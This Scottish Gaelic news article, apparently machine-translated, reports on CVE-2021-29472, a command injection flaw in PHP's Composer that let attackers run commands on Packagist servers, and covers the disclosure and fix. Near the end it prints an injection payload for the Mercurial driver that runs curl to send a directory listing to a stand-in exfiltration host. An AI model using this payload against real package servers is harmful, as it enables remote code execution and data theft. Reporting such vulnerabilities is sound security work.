So-leòntachd ann am manaidsear pacaid Sgrìobhaiche-ciùil a leigeas le stòr PHP Packagist a bhith ann an cunnart

Chaidh so-leòntachd èiginneach (CVE-2021-29472) a chomharrachadh ann am manaidsear eisimeileachd an Sgrìobhaiche-ciùil a leigeas le òrdughan neo-riaghailteach a bhith air an cur an gnìomh air an t-siostam nuair a bhios iad a’ giullachd pasgan le luach URL le cruth sònraichte a shònraicheas an seòladh airson an còd stòr a luchdachadh sìos. Tha an duilgheadas a’ tachairt anns na co-phàirtean GitDriver, SvnDriver, agus HgDriver a thathas a’ cleachdadh nuair a bhios iad a’ cleachdadh siostaman smachd stòr Git, Subversion, agus Mercurial. Chaidh an so-leòntachd fhuasgladh ann am fiosan Sgrìobhaiche-ciùil 1.10.22 agus 2.0.13.

Tha e air a thoirt fa-near gu sònraichte gun tug a’ chùis buaidh gu sònraichte air stòr pacaid bunaiteach Sgrìobhaiche-ciùil, Packagist, anns a bheil pasganan 306 airson luchd-leasachaidh PHP agus a ’frithealadh còrr air 1.4 billean luchdachadh sìos gach mìos. Sheall an deuchainn, nam biodh eòlas aca air an duilgheadas, gum faodadh luchd-ionnsaigh smachd fhaighinn air bun-structar Packagist agus casg a chuir air teisteanasan luchd-gleidhidh no luchdachadh sìos pasgan ath-stiùireadh gu frithealaiche treas-phàrtaidh, ag eagrachadh lìbhrigeadh caochlaidhean pacaid le atharrachaidhean droch-rùnach gus cùl-raon a chuir na àite. rè a 'phròiseas stàlaidh eisimeileachd.

Tha an cunnart airson luchd-cleachdaidh deireannach cuingealaichte ris gu bheil susbaint composer.json mar as trice air a dhearbhadh leis an neach-cleachdaidh, agus gu bheil ceanglaichean stòr air an sgaoileadh nuair a gheibh iad cothrom air stòran treas-phàrtaidh, a tha mar as trice earbsach. Thuit am prìomh bhuille air stòr Packagist.org agus an t-seirbheis Pasgan Prìobhaideach, ris an canar Composer le gluasad dàta a fhuaireadh bho luchd-cleachdaidh. Dh’ fhaodadh luchd-ionnsaigh an còd aca a chuir an gnìomh air frithealaichean Packagist le bhith a’ cur pasgan air a dhealbhadh gu sònraichte.

Shuidhich an sgioba Pacagist an so-leòntachd taobh a-staigh 12 uairean bho chaidh an so-leòntachd aithris. Chuir an luchd-rannsachaidh fios gu prìobhaideach gu luchd-leasachaidh Packagist air 22 Giblean, agus chaidh an duilgheadas a rèiteach an aon latha. Chaidh ùrachadh poblach don Sgrìobhaiche-ciùil a’ dèiligeadh ris an so-leòntachd fhoillseachadh air 27 Giblean, le mion-fhiosrachadh air fhoillseachadh air 28 Giblean. Cha do nochd sgrùdadh de logaichean air frithealaichean Packagist gnìomhachd amharasach sam bith co-cheangailte ri so-leòntachd.

Tha an duilgheadas air adhbhrachadh le bug sa chòd dearbhaidh URL anns an fhaidhle root composer.json agus ceanglaichean luchdachadh sìos stòr. Tha a’ mhearachd air a bhith an làthair sa chòd bhon t-Samhain 2011. Bidh pacaidh a’ cleachdadh sreathan sònraichte gus luchdachadh còd a chuir air dòigh gun a bhith ceangailte ri siostam smachd stòr sònraichte, a thèid a chuir gu bàs le bhith a’ gairm “fromShellCommandline” agus a’ dol seachad air argamaidean loidhne-àithne. Mar eisimpleir, airson git, canar an àithne “git ls-remote -heads $URL”, far a bheil an URL air a ghiullachd leis a’ mhodh “ProcessExecutor:: escape($url)”, a’ teicheadh ​​bho thogalaichean a dh’ fhaodadh a bhith cunnartach leithid “$(. ..)" no "` ...`".

Is e cridhe na trioblaid nach do theich am modh Pròiseas:: teicheadh ​​bhon t-sreath “—”, a leig le paramadair gairm a bharrachd a bhith air a shònrachadh san URL. Bha teicheadh ​​mar seo a dhìth anns na draibhearan GitDriver.php, SvnDriver.php agus HgDriver.php. Chaidh an ionnsaigh GitDriver.php a bhacadh leis nach do chuir an àithne “git ls-remote” taic ri bhith a’ sònrachadh argamaidean a bharrachd às deidh na slighe. Thionndaidh ionnsaigh air HgDriver.php a-mach gu bhith comasach le bhith a’ dol seachad air a’ pharameter “-config” chun ghoireas “hq”, a leigeas leat cur an gnìomh àithne sam bith a chuir air dòigh le bhith a’ làimhseachadh an t-suidheachaidh “alias.identify”. Mar eisimpleir, gus còd a luchdachadh sìos agus a chuir an gnìomh le bhith a’ ruith goireas curl, dh’ fhaodadh tu a shònrachadh: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Le bhith a’ postadh pasgan deuchainn le URL coltach ris gu Packagist, dhearbh an luchd-rannsachaidh, às deidh dhaibh a phostadh, gun d’ fhuair am frithealaiche aca iarrtas HTTP bho aon de na frithealaichean Packagist ann an AWS anns an robh liosta de fhaidhlichean san eòlaire gnàthach.

Source: fosgailtenet.ru

Cuir beachd ann